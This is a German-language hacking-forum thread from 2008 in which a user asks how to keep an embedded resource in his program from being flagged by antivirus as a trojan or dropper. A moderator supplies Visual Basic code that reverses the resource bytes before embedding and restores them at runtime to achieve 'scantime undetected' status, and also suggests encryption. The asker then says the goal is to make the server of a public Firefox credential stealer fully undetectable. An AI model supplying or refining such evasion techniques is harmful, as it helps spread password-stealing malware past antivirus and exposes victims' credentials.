Wie kann ich es machen, das trotzdem ne resource in dem prog ist, es nicht als trojan/Dropper angezeigt wird? habe ma was gelesen von resource drehen oder sowas ... wie geht das? _________________
Jolo_ Coder
Anmeldedatum: 20.03.2007 Beiträge: 210
Verfasst am: 10.03.2008, 20:39
du könntest sie von hand anbinden ^^ wie bei einem binder mit trennzeichen ich denke das sie dan nicht mehr als dropper erkannt wird... aber ka musste probiern
MfG Jolo
marcel1994_ Coder
Anmeldedatum: 08.02.2008 Beiträge: 202
Verfasst am: 10.03.2008, 20:40
mhm Jolo, sorry aber ich verstehe überhauptnicht was du meinst!
c0re_ « Moderator »
Anmeldedatum: 28.11.2007 Beiträge: 425
Verfasst am: 10.03.2008, 20:46
Binde eine Resource in ein neues Projekt ein und lade sie in ein Bytearray.
Code:
Dim bRes() as Byte
bRes = LoadResData(101, "CUSTOM")
Nun drehst du sie mit StrReverse um.
Code:
bRes = StrReverse(bRes)
Jetzt speicherst du sie normal in einer Datei.
Code:
Dim FF As Integer
FF = FreeFile
Open "C:\datei.exe" For Binary As #FF
Put #FF, , bRes
Close #FF
Jetzt bindest du die erstellte, umgedrehte Datei in dein Projekt ein. Die kompilierte Datei wird daraufhin von deinem AV nicht mehr erkannt. In deinem Projekt musst du die Resource natürlich wieder umdrehen um sie benutzen zu können. Zuerst laden.
Code:
Dim bRes() as Byte
bRes = LoadResData(101, "CUSTOM")
Und wieder umdrehen.
Code:
bRes = StrReverse(bRes)
Jetzt kannst du sie entpacken und sie wird wieder vom AV erkannt. Die Methode macht also nur Scantime Undetected. Alternativ kannst du die Datei auch mit einem Verschlüsselungsalgorithmus en-/decrypten. _________________
marcel1994_ Coder
Anmeldedatum: 08.02.2008 Beiträge: 202
Verfasst am: 10.03.2008, 21:00
mhm sehr hilfreich danke! nur ich weiß nicht wa sein bytearray ist
Jolo_ Coder
Anmeldedatum: 20.03.2007 Beiträge: 210
Verfasst am: 10.03.2008, 21:01
byte ist eine Variable und ein Array solltest du kennen
c0re_ « Moderator »
Anmeldedatum: 28.11.2007 Beiträge: 425
Verfasst am: 10.03.2008, 21:17
Normale Variablen:
Code:
Dim s1 As String
Dim s2 As String
Dim s3 As String
s1 = "mooooh"
s2 = "meeeep"
s3 = "uzuzuz"
Array:
Code:
Dim s(1 To 3) As String
s(1) = "mooooh"
s(2) = "meeeep"
s(3) = "uzuzuz"
_________________
marcel1994_ Coder
Anmeldedatum: 08.02.2008 Beiträge: 202
Verfasst am: 11.03.2008, 17:44
jap wusste nurnicht was ich unter byte verstehen soll mhm danke! Jetzt zur info: Ich benutze einen pub ff stealer source, nun möchte ich den server fud machen (in dem server ist eine RES) ^^ deswegen die frage, leider machts nur scantime ud _________________